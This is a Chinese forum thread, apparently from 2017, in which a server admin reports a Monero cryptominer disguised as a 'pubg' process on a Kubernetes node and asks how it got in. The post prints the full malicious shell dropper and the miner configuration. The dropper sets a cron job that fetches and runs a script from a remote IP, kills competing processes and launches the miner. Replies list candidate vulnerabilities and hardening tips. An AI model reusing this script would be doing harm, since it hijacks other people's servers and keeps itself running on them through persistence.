下午突然收到报警,服务器 cpu load 值很高,登录服务器查看,发现被搞了。
top
里边发现一个叫 pubg
的进程一直占用 98%左右的 cpu 使用率,使用 lsof
查看进程打开的文件,找到了程序所在,强制杀掉进程,删除 pubg
文件,发现过一会进程自动启动了,猜测应该是有计划任务。
检查计划任务,发现果然有一条规则,每分钟都会从一个 ip 地址下载一个叫 steam.sh
的脚本并且执行,查找 ip
地址所属地,发现位于台湾。
清理计划任务,杀掉 pubg
进程,发现过一会计划任务和进程有全部恢复了,采用 sysdig
检查所有用户行为,没看到有用户进行奇怪的操作,检查不到是什么操作修改计划任务和恢复了 pubg
进程。
最后,停止 crond
进程,杀掉 pubg
进程,发现 pubg
进程没有再次恢复,暂时解决了问题。
想问一下大伙,有什么其他的办法能检查出这个攻击的根源在那里。
谢谢大伙
steam.sh
内容如下:
#!/bin/sh
/bin/cat /dev/null > /mnt/etc/crontab
ps -fe|grep pubg |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
kill -9 `ps -eo pcpu,pid,cmd | sort -k1 -r | awk '{if($1>60)print$2}'`
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ysjswirmrm"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "jaav"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "snapd"|awk '{print $2}'|xargs kill -9
crontab -r || true && \
echo "* * * * * /usr/bin/curl -s http://35.194.156.203/steam.sh | /bin/bash -s" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
curl -o /var/tmp/config.json http://35.194.156.203/config_1.json
curl -o /var/tmp/pubg http://35.194.156.203/gcc
chmod 777 /var/tmp/pubg
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$(($proc+1))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=$num
nohup ./pubg -c config.json -t `echo $cores` >/dev/null &
fi
ps -fe|grep pubg |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://35.194.156.203/config_1.json
curl -o /var/tmp/pubg http://35.194.156.203/gcc
chmod 777 /var/tmp/pubg
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$(($proc+1))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=$num
nohup ./pubg -c config.json -t `echo $cores` >/dev/null &
fi
echo "runing....."%
config.json
内容如下:
{
"algo": "cryptonight",
"av": 0,
"background": false,
"colors": true,
"cpu-affinity": null,
"cpu-priority": null,
"donate-level": 0,
"log-file": null,
"max-cpu-usage": 90,
"print-time": 60,
"retries": 5,
"retry-pause": 5,
"safe": false,
"syslog": false,
"threads": null,
"pools": [
{
"url": "stratum+tcp://get.bi-chi.com:5555",
"user": "44R6cfEH1wM6HHKGa3jK3UHBadhGS9VmDfVCzo33ZUw1GB46TSUqtiqWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3xGNuHx",
"pass": "x",
"keepalive": false,
"nicehash": false
}
]
}
1
crytis 2017-11-07 20:14:28 +08:00
pubg 不是吃鸡么?
|
2
app13 2017-11-07 20:17:45 +08:00 via Android
这是把挖门罗币的程序伪装成吃鸡么……
|
3
huanxianghao 2017-11-07 20:22:27 +08:00 via iPhone
最近挖矿的贼好多,我一台老 window 机器也中招了
|
4
orient 2017-11-07 20:34:08 +08:00
23.06 KH/sec 果然群众的力量吗
|
7
PyPog OP @huanxianghao 蛋疼
|
9
vipper 2017-11-07 21:59:44 +08:00
```
"url": "stratum+tcp://get.bi-chi.com:5555", "user": "44R6cfEH1wM6HHKGa3jK3UHBadhGS9VmDfVCzo33ZUw1GB46TSUqtiqWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3xGNuHx", "pass": "x", "keepalive": false, "nicehash": false ``` 这里 url 是矿池地址,user 应该是用户的钱包地址 |
10
yichinzhu 2017-11-07 22:03:02 +08:00 via Android
服务器开了哪些服务?我猜一下可能出现问题的点
|
11
PyPog OP @yichinzhu 是 kubernetes 集群的工作节点,下午运行了一下 EFK 那一套,然后就被其他同事叫走了,然后过了一会手机就收到报警短信,上边还有 GlusterFS,zabbix 的 agent
|
14
yichinzhu 2017-11-07 22:46:09 +08:00
@PyPog abbix 跟 es 都有可能,查了一下最近的几年的高危漏洞
zabbix 远程代码执行漏洞 CVE-2017-2824 影响版本 2.4.7 - 2.4.8r1 zabbix SQL 注入漏洞 2016 年 影响版本 2.2.x, 3.0.0-3.0.3 zabbix API JSON-RPC 远程代码执行漏洞 2016 年 影响版本 2.2 < 3.0.3 es Groovy 任意命令执行漏洞 cve-2015-1427 影响版本 1.3.0-1.3.7 1.4.x es snapshot 写 shell 2015 年 影响版本 未知 es 远程代码执行漏洞 CVE-2014-3120 影响版本 1.2 之前 检查一下这两个服务的版本号,是不是很久没更新了,以及是不是没有配置相应的 ACL 策略 |
17
yichinzhu 2017-11-07 23:41:02 +08:00 1
@PyPog 我对 kubernetes 不太熟,刚刚查了一下,如果开放 8080 端口的话,也是可以写定时任务导致命令执行的,参考 https://paper.seebug.org/332/
|
18
fov6363 2017-11-08 00:02:36 +08:00
Elastic 有可能,前一段时间也是跑了一个 ELK,结果也被刷了,也是挖矿的,入侵的方式就是通过 Elastic 的用户名 /密码 入侵的,希望对你有帮助.
|
19
mritd 2017-11-08 09:51:13 +08:00 via iPhone 1
@PyPog 检查 apiserver 是否公网开放了 8080,kubelet 是否允许特权容器运行
|
20
mritd 2017-11-08 09:52:07 +08:00 via iPhone
还有就是检查一下你的镜像是否合法
|
22
mritd 2017-11-08 11:58:34 +08:00
@PyPog 镜像其实感觉官方的 太 low 或者不适用 最好自己撸,我就造了不少轮子, 嘿嘿 https://github.com/mritd/dockerfile
|
24
findex 2017-11-15 17:17:01 +08:00 1
这是将挖矿的程序伪装成 steam 吃鸡的进程。
看了看代码,竟然是用你的 CPU 多线程开挖。像是这种情况,你可以将证据收集,去矿场 bi-chi.com 发 ticket 说明自己收到了攻击,请求吊销该 ID 的所有的挖矿许可。 其次,你要自己查看下对方利用什么方式侵入你的主机的。有没有 patch 你的服务器。看看 CVE 上最新的远程执行漏洞。服务器太老,记得升级,不 patch 的话风险很大的。 |